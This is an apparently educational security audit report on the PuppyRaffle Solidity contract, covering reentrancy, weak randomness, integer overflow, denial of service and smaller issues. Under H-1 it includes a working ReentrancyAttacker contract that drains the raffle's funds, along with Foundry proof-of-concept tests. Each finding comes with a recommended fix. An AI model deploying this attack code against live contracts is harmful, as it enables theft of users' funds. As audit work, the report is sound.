



# **PuppyRaffle Audit Report**

Version 1.0

*ReinaBaz*

December 31, 2024

# Protocol Audit Report

Reina Baz

December 31, 2024

Prepared by: [Reina Baz]

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
  - Issues found
- Findings
  - High
    - \* [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle.
    - \* [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner, and influence or predict the winning puppy.
    - \* [H-3] Integer overflow in `PuppyRaffle::totalFees` loses fees.
  - Medium
    - \* [M-1] Looping through the players array in the `PuppyRaffle::enterRaffle` function to check for duplicants is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

- \* [M-2] Smart contract wallets raffle winners with no `fallback` or `receive` functions will block the start of a new contest.
- \* [M-3] Unsafe cast of `PuppyRaffle : : fee` loses fees
- Low
  - \* [L-1] `PuppyRaffle : : getActivePlayerIndex` returns 0 for non-active players and for players at index 0, causing the player at index 0 to incorrectly think they have not entered the raffle.
- Gas
  - \* [G-1] Unchanged state variables should be declared constant or immutable.
  - \* [G-2] Storage variables in a loop should be cached
  - \* [I-1] Solidity pragma should be specific, not wide
  - \* [I-2] Using an outdated version of solidity is not recommended
  - \* [I-3] Missing checks for `address (0)` when assigning values to address state variables
  - \* [I-4] `PuppyRaffle : : selectWinner` does not follow CEI, which is not the best practice.
  - \* [I-5] Use of “magic” numbers is discouraged.
  - \* [I-6] State changes are missing events.
  - \* [I-7] Event is missing `indexed` fields.
  - \* [I-8] `PuppyRaffle : : isActivePlayer` is never used and should be removed.

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
  1. `address [] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Reina team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- 

Scope

- In Scope:

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

## Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	8
Gas	2
Total	17

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle.

**Description:** The `PuppyRaffle::refund` function does not follow CEI(Checks, Effects, Interactions), and as a result, enables participants to drain the contract's balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender`, and only after we make that external external, we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the
   player can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player
   already refunded, or is not active");
5
6  @> payable(msg.sender).sendValue(entranceFee);
7  @> players[playerIndex] = address(0);
```

```
8
9     emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback/receive` function, that calls the `PuppyRaffle::refund` function again and claim another fund. They could continue this cycle until the contract's balance is drained.

**Impact:** All fees paid by the raffle participants could be drained by the malicious participant.

**Proof of Concept:**

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle:refund`
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function from their attack contract, draining the contract's balance.

**Proof of Code**

Code

Place the following test in `PuppyRaffleTest.t.sol`:

```
1 function test_reentrancyFund() public {
2     address[] memory players = new address[] (4);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttacker attacker = new ReentrancyAttacker(
10         puppyRaffle);
11     address attackUser = makeAddr("attackUser");
12     vm.deal(attackUser, 1 ether);
13
14     uint256 startingAttackContractBalance = address(attacker).
15         balance;
16     uint256 startingContractBalance = address(puppyRaffle).balance;
17
18     //attack
19     vm.prank(attackUser);
20     attacker.attack{value: entranceFee}();
21
22     console.log("starting attack contract balance:",
23         startingAttackContractBalance);
24     console.log("starting contract balance:",
25         startingContractBalance);
```

```
22
23     console.log("ending attacker contract balance:", address(
24         attacker).balance);
25     console.log("ending contract balance:", address(puppyRaffle).
26         balance);
27 }
```

And this contract as well:

```
1  contract ReentrancyAttacker{
2      PuppyRaffle public puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle){
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable{
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16         ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if(address(puppyRaffle).balance >= entranceFee){
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable{
27         _stealMoney();
28     }
29
30     receive() external payable{
31         _stealMoney();
32     }
33 }
```

**Recommended Mitigation:** To prevent this, we should have the `PuppyRaffle::refund` update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
```

```
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5 +        players[playerIndex] = address(0);
6 +        emit RaffleRefunded(playerAddress);
7         payable(msg.sender).sendValue(entranceFee);
8 -        players[playerIndex] = address(0);
9 -        emit RaffleRefunded(playerAddress);
10    }
```

**[H-2] Weak randomness in PuppyRaffle:selectWinner allows users to influence or predict the winner, and influence or predict the winning puppy.**

**Description:** Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number, which is not a good random number. Malicious users can manipulate these numbers or know them ahead of time to choose the winner of the raffle themselves.

*Note:* This additionally means users could front-run this function and call `refund` if they see they are not the winners.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

**Proof of Concept:**

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF.

**[H-3] Integer overflow in PuppyRaffle::totalFees loses fees.**

**Description:** In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
```



```
3 myVar = myVar +1
4 // myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feesAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

#### Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 90 players enter the raffle, then we conclude the raffle.
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // which is
3 totalFees = 8000000000000000000 + 18000000000000000000
4 // this will definitely overflow
5 starting total fees 8000000000000000000
6 ending total fees 353255926290448384
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of this protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

#### Code

Add the following test to the `PuppyRaffleTest.t.sol` file:

```
1 function test_TotalFeesOverflow() public playersEntered{
2     // after the raffle is done(4 players entered)
3     vm.warp(block.timestamp + duration +1);
4     vm.roll(block.number + 1);
5
6     puppyRaffle.selectWinner();
7     uint256 startingTotalFees = puppyRaffle.totalFees();
8     console.log("starting total fees", startingTotalFees);
9
10    // let 90 more players join the raffle
11    uint256 playersNum = 90;
12    address[] memory players = new address[](playersNum);
13
14    for(uint256 i = 0; i < playersNum ; i++){
```

```
15     players[i] = address(i);
16 }
17
18     puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players
19     );
20
21     vm.warp(block.timestamp + duration + 1);
22     vm.roll(block.number + 1);
23
24     puppyRaffle.selectWinner();
25     uint256 endingTotalFees = puppyRaffle.totalFees();
26     console.log("ending total fees", endingTotalFees);
27
28     assert(endingTotalFees < startingTotalFees);
29 }
```

**Recommended Mitigation:** There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could use the `SafeMatch` library in OpenZeppelin for version 0.7.6 of solidity. However, you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from the `PuppyRaffle::withdrawFees`.

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

There are more attack vector with that final require, so we recommend removing it regardless.

## Medium

**[M-1] Looping through the players array in the `PuppyRaffle::enterRaffle` function to check for duplicants is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.**

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. So, the longer the `PuppyRaffle::players` is, the more checks the loop will have to make. This means the gas costs for players who enter right when the raffle starts will be automatically lower than for those who join later. Every additional address the `players` array, is an additional check the loop will have to make.

```
1
2 // @audit Denial Of Service Attack
3 @> for (uint256 i = 0; i < players.length - 1; i++) {
```

```
4     for (uint256 j = i + 1; j < players.length; j++) {
5         require(players[i] != players[j], "PuppyRaffle: Duplicate
           player");
6     }
```

**Impact:** The gas costs for entering the raffle will significantly increase as more players enter the raffle. Discouraging the later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` so big such that no one else can enter, guaranteeing themselves the win.

#### Proof of Concept:

If we have 2 sets of 100 players enter the raffle, the gas costs will be as such: - First 100 players: ~ 6252128 gas - Second 100 players: ~ 18068218 gas

This is more than 3x more expensive for the second 100 players:

Poc

Place the following test in the `PuppyRaffleTest.t.sol`:

```
1  function test_DenialOfService() public {
2      vm.txGasPrice(1);
3
4      uint256 playersNum = 100;
5      address[] memory players = new address[](playersNum);
6      for(uint256 i = 0; i < playersNum; i++) {
7          players[i] = address(i);
8      }
9
10     uint256 gasStart = gasleft();
11     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
12     uint256 gasEnd = gasleft();
13     uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
14     console.log("Gas used for the first 100 players: ",
        gasUsedFirst);
15
16     address[] memory playersTwo = new address[](playersNum);
17     for(uint256 i = 0; i < playersNum; i++) {
18         playersTwo[i] = address(i + playersNum);
19     }
20
21     uint256 gasStartSecond = gasleft();
22     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        playersTwo);
23     uint256 gasEndSecond = gasleft();
24     uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
        gasprice;
```

```
25     console.log("Gas used for the second 100 players: ",
26                 gasUsedSecond);
27     assert(gasUsedFirst < gasUsedSecond);
28 }
```

**Recommended Mitigation:** There are a few recommendations: 1. Consider allowing duplicates. Users can create multiple wallet addresses, so a duplicate check won't prevent the same user from entering the raffle multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3     .
4     .
5     .
6 function enterRaffle(address[] memory newPlayers) public payable {
7     require(msg.value == entranceFee * newPlayers.length, "
8         PuppyRaffle: Must send enough to enter raffle");
9     for (uint256 i = 0; i < newPlayers.length; i++) {
10        players.push(newPlayers[i]);
11 +    addressToRaffleId[newPlayers[i]] = raffleId;
12    }
13 -    // Check for duplicates
14 +    // Check for duplicates only from new players
15 +    for(uint256 i = 0; i < newPlayers.length; i++){
16 +        require(addressToRaffleId[newPlayers[i]] != raffleId, "
17 +        PuppyRaffle: Duplicate Player");
18    }
19 -    for (uint256 i = 0; i < players.length - 1; i++) {
20 -        for (uint256 j = i + 1; j < players.length; j++) {
21 -            require(players[i] != players[j], "PuppyRaffle:
22 Duplicate player");
23        }
24    }
25    emit RaffleEnter(newPlayers);
26 }
27     .
28     .
29     .
30 function selectWinner() external {
31 +    raffleId = raffleId + 1;
32    require(block.timestamp >= raffleStartTime + raffleDuration, "
33        PuppyRaffle: Raffle not over");
34 }
```

Alternatively, you could use OpenZeppelin's [EnumerableSet](#) Library

**[M-2] Smart contract wallets raffle winners with no fallback or receive functions will block the start of a new contest.**

**Description:** The `PuppyRaffle.selectWinner` function is responsible for resetting the lottery. However, if the winner is smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again, and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset very difficult.

Also, true winners could not get paid out and someone else could take their money.

**Proof of Concept:**

1. 10 smart contract wallets enter the lottery with a `fallback` or `receive` function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even tho the lottery is over.

**Recommended Mitigation:** There are a few possible mitigations.

1. Do not allow smart contract wallet entrants (not recommended tho).
2. create a mapping of addresses => payout so winners could pull their funds out themselves, putting the owness on the winner to claim their prize (recommended).

**[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees**

**Description:** In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
           );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
```

```
9  @>    totalFees = totalFees + uint64(fee);
10      players = new address[] (0);
11      emit RaffleWinner(winner, winnings);
12  }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

#### Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1  uint256 max = type(uint64).max
2  uint256 fee = max + 1
3  uint64(fee)
4  // prints 0
```

**Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1  // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6  function selectWinner() external {
7      require(block.timestamp >= raffleStartTime + raffleDuration, "
          PuppyRaffle: Raffle not over");
8      require(players.length >= 4, "PuppyRaffle: Need at least 4
          players");
9      uint256 winnerIndex =
10         uint256(keccak256(abi.encodePacked(msg.sender, block.
            timestamp, block.difficulty))) % players.length;
11     address winner = players[winnerIndex];
12     uint256 totalAmountCollected = players.length * entranceFee;
13     uint256 prizePool = (totalAmountCollected * 80) / 100;
14     uint256 fee = (totalAmountCollected * 20) / 100;
15     -   totalFees = totalFees + uint64(fee);
```

```
16 + totalFees = totalFees + fee;
```

## Low

**[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-active players and for players at index 0, causing the player at index 0 to incorrectly think they have not entered the raffle.**

**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0. But, according to the natspec, it will also return 0 if the player is not in the `players` array.

```
1 /// @returns the index of the player in the array, if they are not
  active, it returns 0
2 function getActivePlayerIndex(address player) external view returns (
  uint256) {
3     for (uint256 i = 0; i < players.length; i++) {
4         if (players[i] == player) {
5             return i;
6         }
7     }
8     return 0;
9 }
```

**Impact:** A player at index 0 will think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

### Proof of Concept:

1. Player enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User might think they did not enter the raffle correctly due to the function's documentation.

**Recommended Mitigation:** The easiest recommend is for the function to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return a `uint256` where the function returns -1 if the player is not active.

## Gas

**[G-1] Unchanged state variables should be declared constant or immutable.**

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be immutable - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::legendaryImageUri` should be constant

### [G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 + uint256 playersLength = players.length;
2 + for (uint256 i = 0; i < playersLength - 1; i++)
3 - for (uint256 i = 0; i < players.length - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++)
6         require(players[i] != players[j], "PuppyRaffle:
           Duplicate player");
7     }
8 }
```

### [I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 2

```
1 pragma solidity ^0.7.6;
```

### [I-2] Using an outdated version of solidity is not recommended

please use a newer version of solidity such as `0.8.18` solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.



**[I-3] Missing checks for address (0) when assigning values to address state variables**

Check for `address (0)` when assigning values to address state variables.

2 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 62

```
1      feeAddress = _feeAddress;
```

- Found in `src/PuppyRaffle.sol` Line: 168

```
1      feeAddress = newFeeAddress;
```

**[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not the best practice.**

It's best to keep the code clean, and follow CEI

```
1 -      (bool success,) = winner.call{value: prizePool}("");
2 -      require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3      _safeMint(winner, tokenId);
4 +      (bool success,) = winner.call{value: prizePool}("");
5 +      require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

**[I-5] Use of “magic” numbers is discouraged.**

It can be confusing to see number literals in the codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

instead you could use:

```
1 uint256 public constant PUBLIC_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```

**[I-6] State changes are missing events.**

State variable changes in this function but no event is emitted.

## 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 125

```
1 function selectWinner() external {
```

- Found in src/PuppyRaffle.sol Line: 157

```
1 function withdrawFees() external {
```

### [I-7] Event is missing indexed fields.

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

## 3 Found Instances

- Found in src/PuppyRaffle.sol Line: 53

```
1 event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 54

```
1 event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 55

```
1 event FeeAddressChanged(address newFeeAddress);
```

### [I-8] PuppyRaffle::isActivePlayer is never used and should be removed.

Functions that are not used. Consider removing them.

## 1 Found Instances

- Found in src/PuppyRaffle.sol Line: 173

```
1 function _isActivePlayer() internal view returns (bool) {
```